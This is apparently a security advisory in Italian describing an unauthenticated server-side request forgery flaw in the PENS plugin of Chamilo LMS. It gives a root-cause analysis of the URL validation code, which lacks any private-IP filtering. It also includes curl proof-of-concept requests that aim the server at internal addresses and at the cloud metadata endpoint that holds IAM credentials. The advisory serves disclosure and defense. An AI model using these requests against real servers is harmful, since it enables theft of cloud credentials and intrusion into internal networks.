
Exploit SSRF non autenticato per il plugin PENS di Chamilo LMS, che dimostra due vettori per accedere a reti interne e metadati cloud, con PoC e analisi della causa principale.
Gravità: Alta (CVSS 8.6)
CWE: CWE-918 (Server-Side Request Forgery)
Interessato: chamilo/chamilo-lms 2.0-RC.2
Corretto in: 2.0-RC.3
Avviso: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
Riconoscimento: Romain Deperne
L'endpoint del plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php è accessibile senza autenticazione e accetta URL controllati dall'utente sia per il download dei pacchetti sia per le notifiche di callback. Le funzioni di validazione degli URL verificano lo schema e la presenza dell'host ma non eseguono alcun filtraggio degli IP privati, consentendo SSRF non autenticato verso reti interne e servizi di metadati cloud.
Dopo CVE-2026-33715, ho esaminato altri endpoint Chamilo non autenticati con effetti collaterali a livello di rete. Il plugin PENS (public/plugin/Pens/) recupera pacchetti da URL esterni e invia callback a server esterni, creando due superfici SSRF.
Ho letto PensProcessor.php cercando la logica di validazione degli URL. Sia isAllowedDownloadUrl() che isAllowedCallbackUrl() verificano lo schema (http/https) e la presenza di un host non vuoto — e si fermano lì. Nessun filtraggio RFC 1918, nessun controllo del loopback, nessun controllo del link-local. Il commento dice addirittura "returns true" dopo il controllo dell'host, il che rende evidente che è stato scritto senza pensare all'SSRF.
Ciò che distingue questa vulnerabilità dalla precedente CVE di Chamilo: presenta due vettori SSRF indipendenti — uno per il recupero del pacchetto (il server scarica un file da un URL controllato dall'attaccante) e uno per i callback (il server invia POST verso endpoint controllati dall'attaccante). Il vettore dei callback è particolarmente utile per esfiltrare le risposte dei servizi interni, poiché il server invierà in POST i dati di stato PENS all'URL specificato, e l'attaccante controlla l'analisi della risposta.
Sulle distribuzioni cloud, l'endpoint dei metadati 169.254.169.254 è raggiungibile attraverso entrambi i vettori.
File: public/plugin/Pens/lib/PensProcessor.php
Due vettori SSRF distinti:
Vettore 1 — Recupero dell'URL del pacchetto (righe 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← no private IP check
}
// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vettore 2 — SSRF tramite callback (riga 318): i parametri receipt e alerts specificano URL a cui il server invia callback POST — stessa assenza di validazione.
isAllowedDownloadUrl() e isAllowedCallbackUrl() verificano solo che l'URL abbia uno schema http/https e un host non vuoto. Gli intervalli privati RFC 1918 (10.x, 172.16.x, 192.168.x), il loopback (127.x), il link-local (169.254.x — metadata cloud) e gli equivalenti IPv6 sono tutti accettati.
# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Nota: questo è distinto da CVE-2022-27426 (SSRF negli strumenti social/links) — percorso di codice diverso, plugin diverso, non autenticato.